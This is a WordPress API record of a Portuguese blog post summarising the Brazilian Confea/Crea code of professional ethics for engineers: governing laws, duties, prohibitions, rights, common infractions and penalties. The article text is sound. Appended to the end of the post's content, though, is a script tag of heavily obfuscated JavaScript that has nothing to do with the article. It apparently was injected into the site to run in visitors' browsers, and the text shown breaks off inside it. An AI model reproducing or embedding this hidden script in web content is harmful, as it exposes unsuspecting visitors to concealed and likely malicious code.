{"id":241,"date":"2021-01-26T09:20:00","date_gmt":"2021-01-26T12:20:00","guid":{"rendered":"http:\/\/www.barreto.eng.br\/blog\/?p=241"},"modified":"2021-02-10T09:18:26","modified_gmt":"2021-02-10T12:18:26","slug":"etica-profissional","status":"publish","type":"post","link":"https:\/\/www.barreto.eng.br\/blog\/index.php\/2021\/01\/26\/etica-profissional\/","title":{"rendered":"\u00c9tica profissional"},"content":{"rendered":"\n<p>(agosto \/ 2015)<\/p>\n\n\n\n<p>Muito se poderia falar sobre \u00e9tica profissional, por\u00e9m, o objetivo deste artigo \u00e9 t\u00e3o somente apresentar os principais aspectos reunidos no C\u00f3digo de \u00c9tica Profissional da Engenharia, da Agronomia, da Geologia, da Geografia e da Meteorologia, iniciando com uma s\u00edntese sobre a regulamenta\u00e7\u00e3o das profiss\u00f5es abrangidas pela, assim denominada, \u00e1rea tecnol\u00f3gica. <\/p>\n\n\n\n<p><strong>Regulamenta\u00e7\u00e3o profissional<\/strong><\/p>\n\n\n\n<p>No Brasil existem profiss\u00f5es regulamentadas e n\u00e3o regulamentadas. O Estado regulamenta uma profiss\u00e3o quando considera que seu exerc\u00edcio indiscriminado coloca em risco a sociedade. \u00c9 o caso das profiss\u00f5es abrangidas pelo Sistema Confea\/Crea \u2013 Conselho Federal de Engenharia e Agronomia \/ Conselho Regional de Engenharia e Agronomia, que compreende agr\u00f4nomos, engenheiros, ge\u00f3grafos, ge\u00f3logos, meteorologistas e tecn\u00f3logos<sup>(1)(2)<\/sup>.<\/p>\n\n\n\n<p>Esses \u00f3rg\u00e3os ficam encarregados de fiscalizar o exerc\u00edcio dessas profiss\u00f5es. N\u00e3o apenas dos profissionais e empresas registradas nos Conselhos Regionais, mas fundamentalmente dos leigos que se incumbirem de atividades exclusivas dos profissionais legalmente habilitados.<\/p>\n\n\n\n<p>Essa estrutura de fiscaliza\u00e7\u00e3o \u00e9 constitu\u00edda por um Conselho Federal (com sede em Bras\u00edlia) e um Conselho Regional (Crea) por Estado da federa\u00e7\u00e3o, mais o do Distrito Federal.<\/p>\n\n\n\n<p>Para facilitar a busca e o conhecimento dos principais aspectos da legisla\u00e7\u00e3o profissional, segue rela\u00e7\u00e3o dos principais documentos:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Decreto Federal n\u00ba 23.196 de 12\/10\/1933, que regula o exerc\u00edcio da profiss\u00e3o agron\u00f4mica;<\/li><li>Decreto Federal n\u00ba 23.569 de 11\/12\/1933, que regula o exerc\u00edcio das profiss\u00f5es de engenheiro e de agrimensor;<\/li><li>Lei Federal n\u00ba 4.076 de 23\/06\/1962, que regula o exerc\u00edcio da profiss\u00e3o de ge\u00f3logo;<\/li><li>Lei Federal n\u00ba 5.194 de 24\/12\/1966, que regula o exerc\u00edcio das profiss\u00f5es de engenheiro e engenheiro-agr\u00f4nomo;<\/li><li>Lei Federal n\u00ba 6.496 de 07\/12\/1977, que institui a Anota\u00e7\u00e3o de Responsabilidade T\u00e9cnica \u2013 ART e autoriza a cria\u00e7\u00e3o de uma M\u00fatua de Assist\u00eancia Profissional;<\/li><li>Lei Federal n\u00ba 6.664 de 26\/06\/1979, que disciplina a profiss\u00e3o de ge\u00f3grafo;<\/li><li>Lei Federal n\u00ba 6835 de 14\/10\/1980, que disp\u00f5es sobre o exerc\u00edcio da profiss\u00e3o de meteorologista;<\/li><li>Lei Federal n\u00ba 7.410 de 27\/11\/1985, que disp\u00f5e sobre a especializa\u00e7\u00e3o de engenheiros e arquitetos em engenharia de seguran\u00e7a do trabalho e a profiss\u00e3o do t\u00e9cnico de seguran\u00e7a do trabalho;<\/li><li>Resolu\u00e7\u00e3o Confea n\u00ba 218 de 29\/06\/1973, que discrimina atividades das diferentes modalidades profissionais da engenharia e agronomia;<\/li><li>Resolu\u00e7\u00e3o Confea n\u00ba 313 de 26\/09\/1986, que disp\u00f5e sobre o exerc\u00edcio profissional dos tecn\u00f3logos;<\/li><li>Resolu\u00e7\u00e3o Confea n\u00ba 1002 de 26\/11\/2002, que adota o c\u00f3digo de \u00e9tica profissional;<\/li><li>Resolu\u00e7\u00e3o Confea n\u00ba 1004 de 27\/06\/2003, que aprova o regulamento para a condu\u00e7\u00e3o de processo \u00e9tico disciplinar;<\/li><li>Demais Resolu\u00e7\u00f5es do Confea.<\/li><\/ul>\n\n\n\n<p><strong>C\u00f3digo de \u00e9tica profissional<\/strong><\/p>\n\n\n\n<p>A primeira edi\u00e7\u00e3o do c\u00f3digo de \u00e9tica profissional ocorreu por meio da Resolu\u00e7\u00e3o Confea n\u00ba 205 de 30\/09\/1971. Posteriormente foi atualizada pela Resolu\u00e7\u00e3o Confea n\u00ba 1002, em vigor at\u00e9 o momento.<\/p>\n\n\n\n<p>Trata-se de um documento que estabelece direitos e deveres no exerc\u00edcio da profiss\u00e3o e deve ser observado pelos profissionais da \u00e1rea tecnol\u00f3gica para nortear a conduta profissional.<\/p>\n\n\n\n<p>A seguir, s\u00e3o apresentados apenas alguns aspectos de deveres, veda\u00e7\u00e3o e direitos do profissional preconizados pelo C\u00f3digo:<\/p>\n\n\n\n<p>a) S\u00e3o deveres do profissional:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>contribuir com seu conhecimento para o bem da humanidade;<\/li><li>atuar dentro dos limites de suas atribui\u00e7\u00f5es e de sua capacidade pessoal de realiza\u00e7\u00e3o;<\/li><li>resguardar o sigilo profissional quando do interesse do cliente ou empregador \u2013 salvo no caso de obriga\u00e7\u00e3o legal;<\/li><li>atuar com imparcialidade e impessoalidade em atos arbitrais e periciais;<\/li><li>adequar sua forma de express\u00e3o t\u00e9cnica \u00e0s necessidades do cliente e \u00e0s normas vigentes aplic\u00e1veis;<\/li><li>atuar com lealdade no mercado de trabalho;<\/li><li>colocar-se a par da legisla\u00e7\u00e3o profissional.<\/li><\/ul>\n\n\n\n<p>b) \u00c9 vedado ao profissional:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>prestar de m\u00e1-f\u00e9 orienta\u00e7\u00e3o, proposta, prescri\u00e7\u00e3o t\u00e9cnica ou qualquer ato que possa resultar em dano \u00e0s pessoas ou a seus bens patrimoniais;<\/li><li>aceitar trabalho, contrato, emprego, fun\u00e7\u00e3o ou tarefa para os quais n\u00e3o tenha efetiva qualifica\u00e7\u00e3o;<\/li><li>apresentar proposta de honor\u00e1rios com valores vis ou extorsivos ou desrespeitando tabelas de honor\u00e1rios m\u00ednimos;<\/li><li>descuidar com as medidas de seguran\u00e7a e sa\u00fade do trabalho sob sua coordena\u00e7\u00e3o;<\/li><li>intervir em trabalho de outro profissional sem a devida autoriza\u00e7\u00e3o de seu titular, salvo no exerc\u00edcio do dever legal;<\/li><li>agir discriminatoriamente em detrimento de outro profissional ou profiss\u00e3o.<\/li><\/ul>\n\n\n\n<p>c) S\u00e3o direitos do profissional:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>a exclusividade do exerc\u00edcio profissional;<\/li><li>a liberdade de escolha de m\u00e9todos, procedimentos e formas de express\u00e3o;<\/li><li>a justa remunera\u00e7\u00e3o, proporcional \u00e0 complexidade e risco da tarefa;<\/li><li>a recusa ou interrup\u00e7\u00e3o de trabalho quando julgar incompat\u00edvel com sua titula\u00e7\u00e3o, capacidade ou dignidade pessoais;<\/li><li>a prote\u00e7\u00e3o da propriedade intelectual sobre sua cria\u00e7\u00e3o;<\/li><li>a competi\u00e7\u00e3o honesta no mercado de trabalho;<\/li><li>a propriedade de seu acervo t\u00e9cnico;<\/li><\/ul>\n\n\n\n<p>Para ilustrar a falta de aten\u00e7\u00e3o \u00e0 legisla\u00e7\u00e3o profissional, seguem abaixo alguns exemplos \u2013 infelizmente corriqueiros \u2013 das principais infra\u00e7\u00f5es cometidas:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>leigos que atuam na \u00e1rea tecnol\u00f3gica;<\/li><li>empresas e profissionais que atuam sem registro no Crea;<\/li><li>empresas sem respons\u00e1veis t\u00e9cnicos;<\/li><li>atribui\u00e7\u00f5es do profissional incompat\u00edveis com o servi\u00e7o por ele prestado ou com o objetivo social da empresa que ele representa;<\/li><li>atendimento e postura inadequados do profissional perante o cliente (sociedade);<\/li><li>n\u00e3o cumprimento pleno de contratos;<\/li><li>acobertamento (caneteiro, canetinha, cal\u00edgrafo, &#8230;);<\/li><li>aus\u00eancia ou preenchimento incorreto de ART;<\/li><li>desconhecimento da legisla\u00e7\u00e3o profissional;<\/li><\/ul>\n\n\n\n<p>As penalidades por infra\u00e7\u00e3o ao C\u00f3digo de \u00c9tica Profissional est\u00e3o previstas no Art. 71 da Lei Federal n\u00ba 5.194 e na Resolu\u00e7\u00e3o Confea n\u00ba 1004, a saber:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>advert\u00eancia reservada;<\/li><li>censura p\u00fablica;<\/li><li>suspens\u00e3o tempor\u00e1ria do exerc\u00edcio profissional;<\/li><li>cancelamento definitivo do registro.<\/li><\/ul>\n\n\n\n<p>A aplica\u00e7\u00e3o das penalidades n\u00e3o segue a ordem apresentada e ser\u00e1 decidida em fun\u00e7\u00e3o da gravidade do ato infracional.<\/p>\n\n\n\n<p>\u00c9 recomend\u00e1vel \u2013 e uma obriga\u00e7\u00e3o legal \u2013 que os profissionais leiam, pelo menos uma vez na vida, os documentos aqui relacionados, como forma de se resguardarem, preservarem e valorizarem suas profiss\u00f5es.<\/p>\n\n\n\n<p>Notas:<\/p>\n\n\n\n<p><sup>(1)<\/sup> As informa\u00e7\u00f5es deste artigo est\u00e3o atualizadas considerando-se a Lei Federal n\u00ba 12.378 de 31\/12\/2010 que criou o CAU\/BR \u2013 Conselho de Arquitetura e Urbanismo do Brasil e seus regionais, bem como da Lei Federal n\u00ba 13.639 de 26\/03\/2018 que criou o Conselho Federal dos T\u00e9cnicos Industriais, o Conselho Federal dos T\u00e9cnicos Agr\u00edcolas, os Conselhos Regionais dos T\u00e9cnicos Industriais e os Conselhos Regionais dos T\u00e9cnicos Agr\u00edcolas.<\/p>\n\n\n\n<p><sup>(2)<\/sup> De in\u00edcio, arquitetos e urbanistas e os t\u00e9cnicos de segundo grau tamb\u00e9m pertenciam ao Sistema Confea\/Crea.<\/p>\n\n\n\n<p><sup>(3)<\/sup> Artigo publicado na revista Eletricidade Moderna de ago\/2015. A vers\u00e3o ora apresentada possui pequenas modifica\u00e7\u00f5es.<\/p>\n\n\n\n<p>Refer\u00eancias:<\/p>\n\n\n\n<p>&#8211; Barreto, Paulo E.Q.M. Apostila da disciplina Per\u00edcias em Eletricidade do curso de p\u00f3s-gradua\u00e7\u00e3o em Avalia\u00e7\u00f5es e Per\u00edcias em Engenharia. S\u00e3o Paulo, 2013.<\/p>\n\n\n\n<p>&#8211; Conselho Federal de Engenharia e Agronomia. Dispon\u00edvel em &lt;http:\/\/www.confea.org.br<\/p>\n\n\n\n<p><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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